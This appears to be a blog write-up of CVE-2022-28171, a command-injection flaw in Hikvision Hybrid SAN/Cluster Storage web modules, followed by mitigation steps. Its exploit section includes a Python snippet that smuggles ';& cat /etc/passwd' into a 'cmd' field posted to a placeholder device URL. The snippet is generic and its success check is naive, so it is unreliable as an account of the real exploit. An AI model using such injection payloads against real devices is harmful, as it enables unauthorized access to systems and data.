CVE-2022-28171 - Security Vulnerability in Hikvision Hybrid SAN/Cluster Storage Products and How to Exploit It

In this post, we will be discussing a recently discovered security vulnerability in some Hikvision Hybrid SAN/Cluster Storage products, specifically within the web module of these devices. This vulnerability, identified as CVE-2022-28171, could allow attackers to execute restricted commands on the affected devices, potentially leading to unauthorized access and control over your critical data.

To understand this vulnerability and the risk it poses, we will first take a look at the root cause of the issue. Then, we will provide a detailed explanation of how the vulnerability can be exploited—including sample code snippets—and discuss steps for mitigating the risk and protecting your Hikvision Hybrid SAN/Cluster Storage devices.

The Root Cause

The vulnerability in the web module is caused by insufficient input validation. Essentially, this means that the affected devices do not perform adequate checks on user input, allowing an attacker to craft and send messages with malicious commands to the device and have them executed.

Exploiting the Vulnerability

To exploit CVE-2022-28171, an attacker would first need to identify a vulnerable device. Next, they would craft a message containing a malicious command and send it to the targeted device. Due to the insufficient input validation, the device would then execute the command, potentially allowing the attacker to gain unauthorized control over the device.

Here is a sample code snippet illustrating how an attacker might craft and send a malicious message to exploit this vulnerability:

import requests

target_url = "http://target_device_ip:port"; # Replace with the target device IP and port
malicious_command = ";& cat /etc/passwd"    # Replace with the desired malicious command

payload = {
    "cmd": "some_valid_command" + malicious_command
}

response = requests.post(target_url, json=payload)

if response.status_code == 200:
    print("Command executed successfully!")
else:
    print("Failed to exploit the vulnerability.")

Please note that this code snippet is provided for educational purposes only and should not be used for malicious activities.

Details regarding CVE-2022-28171 can be found in the following references

- CVE Details
- Hikvision Security Advisory (Note: Please search for the specific CVE identifier on the Hikvision website)

Mitigation and Protection

To protect your Hikvision Hybrid SAN/Cluster Storage devices from being exploited via CVE-2022-28171, it is important to take the following steps:

1. Update your firmware: Ensure that your devices are running the latest firmware released by Hikvision, as security patches for identified vulnerabilities are often included in firmware updates. Information on how to update your firmware can be found on the Hikvision website.

2. Restrict network access: Limit the number of users who have access to the affected devices, and make use of firewall rules and network segmentation to reduce the potential attack surface.

3. Monitor and log activities: Regularly review logs and monitor network activities associated with your Hikvision devices to identify any suspicious actions that could indicate an attempted exploit.

By taking these precautions, you can reduce the risk of this vulnerability being exploited on your Hikvision Hybrid SAN/Cluster Storage devices and protect your valuable data from unauthorized access.

Timeline

Published on: 06/27/2022 18:15:00 UTC
Last modified on: 07/07/2022 16:36:00 UTC